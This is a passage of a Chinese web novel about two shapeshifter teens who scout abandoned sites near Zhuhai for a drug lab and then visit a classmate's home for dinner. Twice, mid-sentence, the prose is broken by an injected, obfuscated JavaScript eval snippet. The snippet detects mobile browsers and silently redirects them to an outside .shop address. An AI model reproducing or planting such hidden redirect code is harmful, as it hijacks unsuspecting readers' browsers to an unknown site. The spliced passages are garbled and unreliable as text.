谢燃回头看了一眼自己的尾巴——确实竖起来了,蓬松得像一把红色的刷子。他把尾巴夹到两腿之间,试图用体温给它保暖,但这个姿势骑车非常别扭。
“前面有便利店,买杯热饮。”纪砚说。
“你不是带了保温杯吗?”
“那是给你带的。”
谢燃愣了一下,然后笑了,蹬车的劲儿都大了一些。
他们在便利店门口停下来,纪砚进去买了两杯热豆浆,出来的时候看到谢燃正蹲在路边跟一只流浪猫对视。那只猫是橘色的,瘦巴巴的,尾巴断了一截,蹲在路边的台阶上,警惕地看着谢燃。
“你在干嘛?”纪砚把豆浆递给他。
“跟它交朋友。”谢燃接过豆浆,喝了一口,“它不理我。”
“因为你是狐狸。”
“我是火狐,又不是真的狐狸。”
“猫分不清。”
谢燃想了想,觉得有道理。他站起来,最后看了一眼那只橘猫,橘猫也看着他,然后慢悠悠地站起来,转身走了,尾巴竖得直直的。
“连猫都不跟我做朋友。”谢燃叹了口气。
“它跟你做朋友了。”纪砚跨上车。
“什么时候?”
“它走的时候尾巴是竖着的,表示友好。”
谢燃看了看那只橘猫远去的背影,又看了看纪砚:“你怎么知道?”
“看书。”
“什么书?”
《猫语入门》。基地图书馆借的。”
“……你能不能看点正常书?”
纪砚没回答,蹬车走了。谢燃追上去,豆浆在杯子里晃来晃去,差点洒出来。
一个半小时后,他们到了淇澳岛。
淇澳岛在珠海市的东北角,通过一座大桥与陆地相连。岛上有山有海,植被茂密,村落散落在山脚下,看起来安静而原始。年绪标注的几个可能地点中,淇澳岛有两个——都在岛北侧的丘陵地带,人迹罕至。
他们把车停在村口,锁好,徒步进山。
山路不宽,碎石铺成,两边是密密麻麻的灌木和榕树。阳光从树冠的缝隙里漏下来,在地上投下细碎的光斑。谢燃走在前面,尾巴翘起来保持平衡,脚步轻快得像在跳舞——进了山他反而比骑车的时候精神多了。纪砚跟在后面,手里拿着地图,时不时停下来比对方位。
“第一个点在前面大约三百米。”纪砚看了看手机上的GPS,“应该是一个废弃的养殖场。”
他们沿着山路走了大约五分钟,看到了一片破败的建筑。几间平房,屋顶的瓦片掉了一半,墙上爬满了藤蔓。院子里长满了杂草,一台生锈的饲料搅拌机倒在角落里,被野草吞没了大半。
谢燃绕着建筑走了一圈,鼻子动了动。
“没有人来过。”他说,“至少最近几个月没有。气味很干净,只有野草和泥土的味道。”
纪砚走进其中一间屋子,用手电照了照角落。地上有老鼠的粪便,墙上有水渍,天花板塌了一角。没有化学试剂的痕迹,没有药物残留,没有任何可疑的东西。
“第一个点,排除。”他在地图上打了个叉。
两人继续往山里走。第二个点在岛的北端,靠近海岸线,是一处废弃的哨所。年绪的报告里提到,这个哨所曾经是边防部队的观察点,后来废弃了,位置隐蔽,适合做小型实验室。
他们花了大约四十分钟才走到那个位置。路更难走了,有些地方根本没有路,要靠钻灌木丛才能过去。谢燃的卫衣被树枝挂了好几下,袖口勾出一根线头,他扯了扯,线头更长了,他放弃了。
哨所比养殖场保存得好一些。墙体是混凝土的,很坚固,门窗虽然锈了但还关得严实。谢燃推开铁门,发出刺耳的吱呀声,惊飞了屋檐下的一群麻雀。
纪砚走进去,用手电扫了一圈。
地面有灰,但灰的分布不均匀。靠墙的地方灰很厚,但房间中央的灰比较薄——像是有人走动过,把灰踩散了。
谢燃也注意到了。他蹲下来,用手指摸了摸地面上的灰,凑到鼻子前闻了闻。
“有人来过。”他说,“至少三个月内来过。灰的厚度不对,踩散的痕迹还在。”
纪砚用手电照着墙角,发现了几处不规则的痕迹——像是某种重型设备被搬动时留下的刮痕。他蹲下来,用手指摸了摸刮痕的边缘。
“不太久。”他说,“一个月以内。”
两人对视了一眼。
谢燃站起来,走到房间的各个角落,仔细闻了闻。空气中有一股很淡的、几乎闻不到的气味——不是自然的气味,是化学试剂的味道,混合着某种防腐剂的气息。如果不是谢燃的鼻子经过特殊训练,根本不可能在通风了这么久之后还闻到。
“有药味。”他说,“很淡,但能闻到。XK-9的那种苦味,和冥安身上的味道很像。”
纪砚拿出手机,拍了几张照片,又用密封袋取了一些地面灰尘的样本。
“这里可能曾经是生产点,但已经搬走了。”他说,“设备刮痕还在,但没有任何残留的药剂或容器——清理得很干净。”
“清理的人很专业。”谢燃说,“知道怎么消除痕迹。”
“或者,”纪砚把手电关掉,走出哨所,“清理的人就是生产的人。他们定期更换地点,以防被追踪。”
谢燃站在哨所门口,看着远处的大海。海面很平静,阳光照在水面上,碎成无数片金箔。几只海鸟在天上盘旋,发出尖锐的叫声。
“淇澳岛两个点都排除了。”他说,“一个没用过,一个用过了但搬走了。”
“但至少确认了一件事——年绪的推测是对的。”纪砚在地图上标注了哨所的位置,在旁边写了“已迁移”三个字,“生产地点确实在珠海周边的丘陵地带,而且他们会定期更换。”
“下一个点在哪?”
“唐家湾。山房路附近有一片老房子,年绪说那里有多个废弃的仓库。”
两人原路返回,骑上车,往唐家湾方向去。到唐家湾的时候已经快中午了,太阳挂在头顶,晒得人发晕。谢燃把卫衣脱了系在腰上,露出里面的黑色T恤。他的尾巴在阳光下红得更鲜艳了,像一团移动的火。
他们在路边的小店买了两个盒饭,坐在一棵大榕树下吃。盒饭是标准的广东口味,叉烧加青菜,米饭上浇了卤汁,味道不错。谢燃吃得很快,三分钟就扒完了一盒,然后眼巴巴地看着纪砚的。
纪砚把自己的一半拨给他。
“你不饿?”谢燃问。
“没你饿。”
谢燃嘿嘿一笑,低头继续吃。
吃完午饭,两人骑车进了山房路。这条路不宽,两边是老旧的老房子,有些还有人住,有些已经荒废了。年绪标注的三个仓库都在这一带,分布在大约两平方公里的范围内。
第一个仓库是废弃的渔船修理厂,大门紧锁,窗户用木板钉死了。谢燃翻墙进去看了看,里面堆满了破渔网和废弃的发动机零件,气味是典型的鱼腥味和铁锈味,没有任何药物的痕迹。
第二个仓库是一个旧货仓,铁皮屋顶,墙体是红砖的。门没锁,推开进去,里面空荡荡的,什么都没有,连灰尘都不多——像是被仔细打扫过。
“太干净了。”谢燃说。
“嗯。”纪砚蹲下来,用手电照了照墙角,“干净得不正常。一个废弃的仓库不应该这么干净。”
他在地面上发现了几个圆形的印记——像是某种容器底部留下的痕迹,直径大约十厘米,排列整齐。他用手机拍了照,又用密封袋取了一些地面的样本。
“可能是培养皿或者反应釜的底座印记。”纪砚说,“尺寸和XK-9口服液的生产设备对得上。”
“又是搬走了?”
“看起来是。但这个点的搬离时间比淇澳岛那个更近。”纪砚用手指摸了摸印记的边缘,“灰尘堆积很薄,可能是两周到一个月之间。”
谢燃站在仓库门口,看了看四周的环境。这个位置确实很合适——在村子边缘,周围有几棵大榕树遮挡,从路上看不到仓库的门。如果晚上来送货,几乎不会被发现。
“唐家湾还有第三个点?”他问。
“有,在金鼎和唐家湾交界的地方,一个废弃的采石场。”纪砚看了看地图,“但今天时间不够了,骑车过去要将近一个小时,回来就天黑了。”
“那就下周再去?”谢燃问。
“嗯。先把今天的样本送回去给年绪。”
两人骑车往回走。下午的阳光比中午柔和了一些,但海风大了,吹得榕树的叶子哗哗响。谢燃骑在前面,尾巴在身后飘着,像一面红色的旗帜。纪砚跟在后面,保持着一个稳定的距离,不远不近。
回程的路上,谢燃的手机震了好几次。他在等红灯的时候掏出来看了一眼,全是陆大寻发来的消息:
“谢哥谢哥!!!你们今天干嘛去了???”
“我本来想去你们家送蛋糕!!!我妈做了芒果千层!!!超好吃!!!”
“结果你们不在!!!”
“你们去哪儿了???回我消息!!!”
“是不是又背着我出去玩了???”
“谢哥!!!你是不是不要我了???”
最后一条消息后面跟着一只哈士奇蹲在角落里画圈圈的表情包。
谢燃看着那条消息,笑出了声。他单手打字回复:“出去了,有事。蛋糕留着,明天我们去你家拿。”
陆大寻秒回:“!!!真的吗!!!你们明天真的来???”
“真的。”
“那我去跟我妈说!!!她一定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536133|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会很高兴的!!!你们想吃什么?我妈问我我好告诉她!!!”
“随便,什么都行。”
“那怎么能随便!!!你们必须点菜!!!”
谢燃想了想,打字回复:“酸菜鱼。”
“!!!好!!!我跟她说!!!纪哥呢?纪哥想吃什么?”
谢燃转头看了一眼旁边的纪砚:“陆大寻问你吃什么。”
纪砚骑在车上,目视前方,声音被风吹得有点散:“竹笋炒肉。”
谢燃愣了一下,然后笑了,笑得差点从车上掉下来。他低头打字:“纪砚说竹笋炒肉。”
“!!!那不是骂人的菜吗???纪哥是不是在笋我???”
“你猜。”
“那就是了!!!纪哥你等着!!!我会让你吃到世界上最好吃的竹笋炒肉的!!!”
谢燃把手机收起来,笑着摇了摇头。
“你让他点竹笋炒肉,他真的会让他妈做。”
“那就做。”纪砚的语气没有任何波澜,“我爱吃竹笋。”
“你以前不是说不爱吃吗?”
“那是以前。”
谢燃看了他一眼,没再问。
回到公寓的时候,天已经快黑了。两人把车停好,上楼,谢燃一进门就把自己摔进沙发里,发出一声长长的叹息。
“累死了——”
“你骑了三十公里,叫累?”纪砚把背包放下,拿出今天取的样本,仔细地贴上标签,写上日期和地点。
“精神上的累。”谢燃把脸埋进靠垫里,声音闷闷的,“探查比训练还累。训练至少知道自己在干什么,探查就是——走啊走,找啊找,大部分时间都在排除错误选项。”
“这就是侦查。”纪砚把样本装进一个防震的小盒子,封好,准备明天寄给年绪,“排除错误选项本身就是进展。”
“你每次都用这种话说服自己。”
“不是说服,是事实。”
谢燃从沙发上翻过身,仰面躺着,盯着天花板上的裂缝。那道裂缝好像比上周长了一点,从吊灯的位置又延伸出去了大约十厘米。他看着那道裂缝,脑子里在转今天看到的那些东西——废弃的哨所里被踩薄的灰,仓库地面上容器的印记,空气中残留的苦味。
“纪砚。”
“嗯。”
“你说他们为什么要把生产点搬来搬去?”
“为了避免被追踪。”纪砚坐到沙发上,拿起自己的保温杯,拧开盖子喝了一口水,“XK-9的生产不是小规模操作,需要设备、原料、熟练的操作人员。一个固定生产点被发现的概率很大,所以他们定期更换地点,每个点用一段时间就废弃。”
“那他们怎么选择新地点?”
“年绪说,他们在找那些隐蔽、交通便利、不容易被注意的地方。废弃的养殖场、哨所、仓库、采石场——珠海周边这样的地方很多。”
谢燃沉默了几秒,然后说:“如果我们找不到生产点,能不能从冥安那里直接拿到药,让年绪反向追踪原料来源?”
“年绪已经在做了。”纪砚放下保温杯,“但她需要更多样本。一份口服液里的信息有限,如果能有不同批次的样本,她可以比对成分的细微变化,推测生产时间和地点。”
“所以我们需要从冥安那里拿到更多的药。”
“或者从谭照那里。”
两人对视了一眼。
谭照。周三下午去冥安家送东西的保安科副科长。他是目前最接近XK-9供应链的人——从他手里,可能拿到未开封的口服液,或者至少看到他携带的黑色袋子里装的是什么。
“下周三,跟谭照跟到底。”谢燃说。
“嗯。”纪砚站起来,走向厨房,“今晚吃什么?”
“你不是说冰箱里没鸡蛋了吗?”
“买了。你今天在便利店等我的时候,我去隔壁超市买了。”
谢燃愣了一下。他当时在跟橘猫对视,完全没注意纪砚去了超市。
“你买了什么?”
“鸡蛋、速冻饺子、牛奶、水果。”纪砚打开冰箱,清点了一下,“够吃三天。”
“你什么时候买的?”
“你蹲着看猫的时候。”
谢燃张了张嘴,想说点什么,但最后只是笑了。他躺在沙发上,尾巴慢悠悠地晃着,听着厨房里纪砚洗菜切菜的声音。水龙头哗哗地响,菜刀在案板上有节奏地敲着,像是在演奏某种只有纪砚自己听得懂的乐曲。
窗外的天彻底黑了。珠海市的夜空中挂着一弯细月,星星不多,但很亮。远处传来轮船的汽笛声,低沉的、悠长的,像大海在叹气。
谢燃闭上眼睛,在厨房的声音中慢慢地沉入一种半梦半醒的状态。他的手指上还有今天骑车留下的酸痛,腿也酸,但他不觉得难受。相反,他觉得今天过得还不错——虽然没找到生产点,但至少确认了方向是对的。
手机又震了一下。
他懒洋洋地掏出来,看了一眼。陆大寻发来的消息:
“谢哥!!!我妈说你们明天一定要来!!!她说她要展示一下她的厨艺!!!还说你们要是敢不来她就去学校找你们!!!”
后面跟着一只哈士奇头戴厨师帽、手里拿着锅铲的表情包。
谢燃笑着回复:“来。一定来。”
他把手机扣在胸口,继续听着厨房里的声音。
纪砚在切菜,节奏平稳,像他的心一样。
谢燃想,明天去陆大寻家吃饭,应该会很有意思。一个哈士奇Omega少年的妈妈,会是什么样的人?会不会也像陆大寻一样,说话像倒豆子,尾巴甩得像螺旋桨?
他想着想着,嘴角翘了起来。
厨房里,纪砚正在打鸡蛋。今天他要尝试一个新的菜——番茄炒蛋。他看了三遍教程,把步骤背了下来,还做了一张流程图贴在冰箱上。
蛋液倒进热油里,边缘迅速凝固,金黄色的,没有糊。
纪砚盯着锅里的鸡蛋,嘴角微微动了一下。
然后他拿起锅铲,认真地、小心翼翼地开始翻炒。
22. 哈士奇与芒果千层
周日早晨,谢燃是被芒果的香味唤醒的。
不是真的闻到了芒果,而是脑子里一直在转陆大寻昨天说的那个词——“芒果千层”。他在床上翻来覆去了几分钟,最后决定不睡了。他摸出手机看了一眼,才八点。难得一个周日他能在九点之前自然醒,居然是因为一个蛋糕。
“纪砚。”他朝门外喊了一声。
没人回答。
“纪砚?”
还是没人回答。
谢燃从床上爬起来,光着脚走出卧室。客厅里没人,厨房里也没人。灶台上有一锅白粥,保温着,旁边摆着两个煎鸡蛋和一碟咸菜。纪砚的手机放在茶几上,人不在。
谢燃拿起手机看了一眼——没有未读消息。他放下手机,去洗漱,换好衣服,然后坐在餐桌前吃早饭。粥的温度刚好,不烫不凉,煎鸡蛋的边缘金黄酥脆,蛋黄是溏心的,用筷子一戳就流出来。
他吃到一半的时候,门开了。纪砚拎着两个袋子走进来,换鞋的动作一如既往地有条不紊。
“你去哪了?”谢燃嘴里含着鸡蛋含混地问。
“超市。”纪砚把袋子放在餐桌上,“去人家家里做客,不能空手。”
谢燃往袋子里看了一眼——一箱牛奶,一袋水果,还有一盒茶叶。包装都很普通,不贵也不便宜,刚好是“一个高中生去同学家做客”的标准配置。
“你想得真周到。”谢燃说。
“是你没想到。”
“……你能不能不要每次都拆穿我?”
纪砚没理他,走进厨房,洗了手,给自己盛了一碗粥,坐到谢燃对面开始吃早饭。两人吃饭的时候没怎么说话,但气氛不尴尬,是那种相处了很久的人之间才有的安静。
吃完早饭,纪砚去换了身衣服。谢燃靠在卧室门框上看着他换——不是想偷看,是他霸占了唯一的全身镜,纪砚要照镜子就得从他旁边过去。纪砚换了一件浅灰色的卫衣,没有帽子,领口露出一截黑色的打底。头发梳整齐了,但额前还是有几缕不听话地垂下来。
“你今天穿得挺好看。”谢燃说。
“我每天都这样。”
“今天特别好看。”
纪砚看了他一眼,那眼神的意思是“你再说一句我就不去了”。谢燃识趣地闭嘴了,但嘴角的笑意怎么都压不下去。
两人出门的时候快十点了。陆大寻发来的地址在珠海市香洲区的一个老小区,离和风四中骑车大约二十分钟。他们没骑车,坐公交车去的——纪砚说“带着礼物骑车不方便”,谢燃说“你就是想坐公交车”,纪砚没否认。
公交车晃了大约半小时,到站的时候谢燃差点睡着了。他跟在纪砚后面下了车,站在路边打了个哈欠,尾巴在身后慢悠悠地晃着。
陆大寻发来的地址是14号楼,302室。小区不大,绿化还行,有几棵老榕树,气根垂下来像帘子。14号楼在最里面,靠近围墙,楼下停着几辆电动车和一辆生锈的自行车。
谢燃正要按门铃,单元门突然从里面被推开了。
陆大寻站在门口,穿着一件印着巨大哈士奇脸的卫衣,头发乱得像刚睡醒,眼睛亮得像两个灯泡。他的尾巴在身后甩得飞快,几乎能看到残影。
“谢哥!纪哥!”他一把抓住谢燃的手臂,力气大得不像一个Omega,“你们真的来了!我妈从早上就开始准备,冰箱都塞不下了!”
“你妈几点起来的?”谢燃被他拽着往里走。
“六点!她说要做一顿大餐招待我的好朋友!”陆大寻回头冲纪砚喊了一声,“纪哥你快进来,门别关,我妈说楼道通风好!”
纪砚拎着礼物跟在后面,把单元门带上了。
三楼没有电梯,楼梯间很窄,只能容两个人并排。陆大寻跑在前面,一步两个台阶,跑得飞快,尾巴在楼梯拐角处甩来甩去。谢燃跟在后面,觉得这个场景很像电影里导盲犬带着主人走路——虽然他不是盲人,陆大寻也不是导盲犬。
“到了到了!”陆大寻站在302室门口,门开着,里面飘出一股浓郁的饭菜香。红烧肉、酸菜鱼、糖醋排骨、还有某种甜品的味道——谢燃的鼻子在空气中捕捉到了至少七种不同的气味,每一种都让他胃里的酸水往上涌。
“妈!他们来了!”陆大寻朝屋里喊了一声。
厨房里传来一阵急促的脚步声,然后一个女人出现在厨房门口。
她大概四十出头,中等身材,穿着一件碎花围裙,头发扎成一个低马尾,有几缕碎发从耳边垂下来。她的五官和陆大寻有七分像,尤其是那双浅色的眼睛,亮晶晶的,带着一种天生的好奇和热情。她的尾巴——也是一条哈士奇尾巴——在身后慢悠悠地晃着,比陆大寻的尾巴大一圈,毛色更深一些。
“哎呀,来了来了!”她把手在围裙上擦了擦,快步走过来,目光在谢燃和纪砚之间来回扫了两遍,然后笑了,笑得很温暖,“快进来快进来,不用换鞋,我刚拖过地,没事的!”
“阿姨好。”纪砚微微点头,把手里的礼物递过去,“这是我们带的,一点心意。”
“哎哟,来就来嘛,还带什么东西!”陆妈妈接过礼物,脸上的笑容更大了,“你们这两个孩子,真是的——大寻,你看看人家,多有礼貌!”
“妈,我也有礼貌!”陆大寻抗议。
“你什么时候有礼貌了?”
“我一直都有!”
“那你上次把我的砂锅打碎了,说了对不起吗?”
“说了。”
“说了几遍?”
“一遍。”
“你再说一遍?”
陆大寻张了张嘴,然后转向谢燃和纪砚,用口型说:她好凶。
谢燃忍住笑,假装没看到。
客厅不大,但收拾得很干净。沙发是深蓝色的,上面摆着几只哈士奇造型的抱枕——不用问也知道是谁买的。茶几上摆着一个巨大的芒果千层蛋糕,金黄色的表面装饰着芒果切片和薄荷叶,看起来像从蛋糕店橱窗里搬出来的。
“妈,你什么时候做的蛋糕?”陆大寻眼睛瞪得溜圆。
“今天早上五点。”陆妈妈一边给两人倒茶一边说,“你不是说他们喜欢芒果吗?”
“我说的是谢哥喜欢芒果,纪哥喜欢竹笋。”
“所以我做了芒果千层,竹笋炒肉待会做。”陆妈妈把茶杯放到纪砚面前,笑着说,“你就是纪砚吧?大寻天天在家说你,说你成绩好、稳重、会照顾人,还说你是狼Alpha。”
“阿姨好。”纪砚接过茶杯,声音不大,但很稳。
陆妈妈看了他一眼,目光里有一种说不清的东西——不是审视,更像是确认。她点了点头,转向谢燃:“那你就是谢燃了?火狐Alpha,大寻说你特别好玩。”
谢燃正在喝水的动作顿了一下:“……好玩?”
“他说你脾气好,长得帅,就是数学不太好。”
“妈!”陆大寻的脸红了,尾巴炸成一朵蒲公英。
谢燃笑出了声,笑得靠在沙发上,尾巴在身后晃来晃去:“阿姨,他说得对,我数学确实不太好。”
“没事,大寻数学还行,让他教你。”陆妈妈笑着拍了拍谢燃的肩膀,转身往厨房走,“你们先坐,看会电视,菜马上好。大寻,招呼客人!”
“知道了知道了——”陆大寻拖着长音应了一声,然后压低声音对谢燃和纪砚说,“我妈就是话多,你们别介意。”
“你妈挺好的。”谢燃说。
“真的?”陆大寻的眼睛亮了一下。
“真的。比你正常。”
“谢哥你这句话是在夸我妈还是在骂我?”
“你觉得呢?”
陆大寻瘪了瘪嘴,但很快就笑了,尾巴又甩了起来。他拿起遥控器打开电视,随便换到一个综艺节目,然后站起来跑到厨房门口探了探头,又跑回来。
“我妈在做酸菜鱼,你们闻到了吗?那个香味!”
“闻到了。”谢燃的鼻子动了动,“很香。”
“那当然了!我妈做的酸菜鱼是全珠海最好吃的!”陆大寻骄傲地挺了挺胸,“我上次说我请你们吃酸菜鱼,其实就是在外面吃的,我妈知道了之后说‘外面的哪有家里的好吃’,所以今天就做了。”
纪砚端起茶杯喝了一口,目光在客厅里缓缓扫过。电视柜上摆着几张照片——陆大寻小时候的照片,圆圆的脸,浅色的眼睛,尾巴比现在更蓬松,笑得露出两颗小门牙。旁边还有一张合影,是陆妈妈和一个男人,男人的脸被挡住了,照片被剪了一半。
陆大寻顺着纪砚的目光看过去,声音轻了一些:“那是我爸。我妈把另一半剪了。”
纪砚没有追问。
陆大寻沉默了两秒,然后笑了笑,那笑容比平时浅了一些:“我对他没什么印象,他很早就走了。我妈一个人把我带大的。”
谢燃的尾巴在沙发上轻轻扫了一下。他想说点什么,但不知道该说什么。他没有父母,没有“我妈一个人把我带大”这种经历,他不知道那是种什么感觉。但他知道一个人把另一个孩子带大需要付出什么——他在曙光学院见过太多被父母抛弃的孩子,他们的眼神和陆大寻不一样。陆大寻的眼神里有光,那种光是被爱过的人才有的。
“你妈很厉害。”谢燃说。
陆大寻愣了一下,然后笑了,这次笑容回到了眼底:“嗯,她很厉害。”
厨房里传来一阵滋啦滋啦的响声,酸菜鱼的香味更浓了。陆妈妈探出头来喊了一声:“大寻,来端菜!”
陆大寻弹射般从沙发上蹦起来,跑进厨房,端着一个巨大的汤碗走出来,小心翼翼地放在餐桌上。汤碗里是满满一盆酸菜鱼,鱼片雪白,酸菜金黄,汤底浓郁,上面飘着几片香菜和干辣椒,热气腾腾的,香味直往鼻子里钻。
“谢哥纪哥,来坐!”陆大寻拉开椅子,招呼他们过来。
谢燃走过去,在餐桌前坐下,眼睛一直盯着那盆酸菜鱼。纪砚在他旁边坐下,把椅子摆正,餐巾纸叠好放在手边。
陆妈妈端着一盘糖醋排骨走出来,看到纪砚叠餐巾纸的动作,眼睛亮了一下:“哎呀,这孩子真讲究。”
“他有强迫症。”谢燃说。
“我没有强迫症。”纪砚说。
“你叠餐巾纸都叠成正方形了还说没有?”
纪砚低头看了一眼自己叠的餐巾纸——确实是个规整的正方形,对角线都对得整整齐齐。他沉默了一秒,把餐巾纸展开,重新叠了一个不太规整的形状。
陆妈妈看着这一幕,笑了,笑得很开心。
菜上齐了——酸菜鱼、糖醋排骨、红烧肉、清炒时蔬、竹笋炒肉、番茄蛋花汤。六菜一汤,摆了满满一桌。陆妈妈把最后一道菜端上来,解下围裙搭在椅背上,坐到陆大寻旁边,端起茶杯。
“来,阿姨以茶代酒,欢迎你们两个来家里做客。”她举了举茶杯,“大寻在学校麻烦你们了,这孩子不懂事,你们多担待。”
“妈!”陆大寻的脸又红了。
“阿姨,他不麻烦。”谢燃端起茶杯碰了一下,“他帮了我们很多。”
陆妈妈看了谢燃一眼,那目光里有感激,也有一种谢燃读不懂的东西。她没有问“帮了什么”,只是笑了笑,喝了一口茶。
“吃饭吃饭,菜凉了就不好吃了。”
陆大寻第一个动筷子,夹了一大块鱼片放到谢燃碗里:“谢哥你尝尝!我妈做的!”
谢燃把鱼片塞进嘴里,嚼了两下,眼睛亮了。鱼肉嫩滑,酸菜的酸味恰到好处,辣味在后劲里慢慢涌上来,比学校门口那家好吃太多了。
“好吃。”他说,然后又夹了一块。
陆妈妈笑得眼睛弯成了月牙:“好吃就多吃点,锅里还有。”
纪砚夹了一筷子竹笋炒肉,慢慢嚼着。竹笋很嫩,肉片很薄,炒得火候刚好。他点了点头:“好吃。”
陆大寻的眼睛瞪得溜圆:“纪哥你说好吃了!你第一次说好吃!”
“不是第一次。”
“反正是我第一次听到!”
纪砚没接话,但嘴角有一个很小的弧度。他又夹了一筷子竹笋炒肉,吃得很认真。
饭吃到一半的时候,陆妈妈的手机响了。她看了一眼来电显示,眉头微微皱了一下,然后站起来走到阳台上接电话。门关上了,声音听不太清,但谢燃注意到陆妈妈的表情变了——不是生气,是那种被什么东西压住了的、努力保持平静的表情。
陆大寻也注意到了,他的尾巴停止了晃动,筷子悬在半空中。
“你妈怎么了?”谢燃低声问。
“不知道。”陆大寻的声音也低了下去,“可能是工作的事。她在医院上班,有时候会有紧急情况。”
“医生?”
“护士。急诊科的。”陆大寻看着阳台上的背影,眼睛里有一丝担心,“她经常加班,很辛苦。”
阳台上,陆妈妈挂断了电话,在栏杆前站了几秒,然后深吸一口气,转过身,脸上重新挂上了笑容。她推开门走进来,坐回椅子上,笑着说:“没事没事,同事打错了。来,继续吃,那个红烧肉凉了就不好吃了。”
谢燃和纪砚对视了一眼,都没有追问。
吃完饭,陆大寻抢着要洗碗,被陆妈妈一巴掌拍在屁股上:“你去陪客人,碗我来洗。”
“可是——”
“没有可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536134|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是,去。”
陆大寻瘪着嘴从厨房出来,尾巴耷拉着,坐到沙发上。谢燃和纪砚也坐过去,三个人排排坐,看着电视里一个不知道在演什么的综艺节目。
“你妈一个人做了一桌子菜,很累的。”谢燃说。
“我知道,但她每次都不让我帮忙。”陆大寻抱着一个哈士奇抱枕,下巴搁在抱枕上,“她说我洗碗洗不干净,洗洁精放太多。”
“你放多少?”
“半瓶。”
“……那你确实洗不干净。”
陆大寻把脸埋进抱枕里,闷闷地说:“我就是想帮她嘛。”
谢燃伸手揉了揉他的头发,动作很轻:“你帮她最好的方式就是好好学习,少让她操心。”
陆大寻从抱枕里抬起脸,看着谢燃,浅色的瞳孔里映着电视的光:“谢哥,你怎么跟我妈说一样的话。”
“因为大人说的都是对的。”
“你也不是大人,你才大我几岁。”
“大几岁也是大。”
陆大寻哼了一声,但没躲开谢燃的手。
纪砚坐在旁边,看着电视,但目光没有聚焦在屏幕上。他在想陆妈妈接的那通电话——她说“同事打错了”,但她的表情不像。急诊科的护士接到医院电话,不会露出那种表情。那种表情更像是在听一个不好的消息,或者一个让她为难的请求。
但他没有说出来。
有些事情,不需要在餐桌上说。
下午两点多,谢燃和纪砚准备告辞了。
陆妈妈从厨房里走出来,手里拎着一个袋子,里面装着切好的芒果千层蛋糕,用保鲜盒装得整整齐齐。
“带回去吃,晚上当宵夜。”她把袋子塞到谢燃手里,不容拒绝,“大寻说你喜欢吃甜的,这个不太甜,你应该喜欢。”
谢燃接过袋子,心里有什么东西被轻轻地拨动了一下。他说不上来那是什么感觉,像是被什么东西暖了一下,从胸口慢慢扩散到四肢。
“谢谢阿姨。”他说。
“不用谢,以后常来。”陆妈妈拍了拍他的肩膀,又转向纪砚,“纪砚,你也是,常来。阿姨给你们做好吃的。”
“谢谢阿姨。”纪砚的声音不大,但很认真。
陆妈妈看着他们两个,目光里那种说不清的东西又出现了。她张了张嘴,想说什么,但最后只是笑了笑,说:“路上小心。”
“妈,我送他们下楼!”陆大寻已经换好鞋了,站在门口,尾巴甩得飞快。
“去吧,别跑太远。”
“知道了知道了——”
三个人下了楼,走到小区门口。陆大寻站在榕树下,双手插在卫衣口袋里,尾巴在身后慢悠悠地晃着。
“谢哥,纪哥,今天开心吗?”他问。
“开心。”谢燃说。
“嗯……”纪砚说。
陆大寻笑了,笑得露出两颗小虎牙,浅色的瞳孔在阳光下亮得像两颗糖。
“那你们以后常来。”他说,“我妈今天也很开心。她好久没这么开心了。”
谢燃看着他,忽然觉得这个傻狗其实一点都不傻。他什么都懂,只是选择用傻乎乎的样子面对这个世界。
“行。”谢燃说,“常来。”
“好!”陆大寻转身跑了几步,又停下来回头喊了一句,“蛋糕记得吃!明天学校见!”
“明天见。”纪砚说。
陆大寻跑回了单元门,身影消失在楼道里。
谢燃和纪砚站在小区门口,看着那扇关上的单元门,沉默了几秒。
“走吧。”纪砚说。
“嗯。”
两人沿着小区的路往外走。阳光很好,榕树的影子投在地上,像一大片静止的乌云。谢燃拎着蛋糕,纪砚拎着空了的礼物袋——陆妈妈把水果留下了,把牛奶也留下了,茶叶说什么都让他们带回去。
“纪砚。”
“嗯。”
“陆大寻的妈妈,是个好人。”
“嗯。”
“她看我们的眼神,有点奇怪。”
纪砚沉默了几步,然后说:“她在担心。”
“担心什么?”
“担心陆大寻。”纪砚的声音低了一些,“她可能不知道我们在做什么,但她能感觉到,她的儿子正在靠近某种危险。”
谢燃没有接话。
他们走出小区,拐进公交站台。公交车还没来,站台上只有他们两个人。远处的海面上,太阳正在缓缓西沉,把海水染成金红色。
谢燃靠在站台的广告牌上,看着那片海,忽然说了一句:“如果有一天我们完成任务了,离开珠海了,陆大寻会不会难过?”
纪砚站在他旁边,沉默了很久。
“会。”他说,“但我们不会不告而别。”
谢燃转头看着他。
纪砚没有看他,目光落在远处海面上的落日上。他的侧脸被夕阳镀上了一层暖橘色的光,表情依旧淡淡的,但谢燃看到了他眼底那一点不太明显的东西。
不是犹豫,是承诺。
公交车来了,两人上了车。车厢里人不多,他们找了后排的座位坐下。谢燃把蛋糕放在腿上,双手护着,像护着什么珍贵的东西。车子晃晃悠悠地驶过珠海市的街道,窗外的风景一帧一帧地往后退——榕树、骑楼、海边的栏杆、远处的灯塔。
谢燃靠着车窗,半闭着眼睛,尾巴搭在膝盖上。纪砚坐在他旁边,腰背挺直,目光落在前方,不知道在想什么。
“纪砚。”
“嗯。”
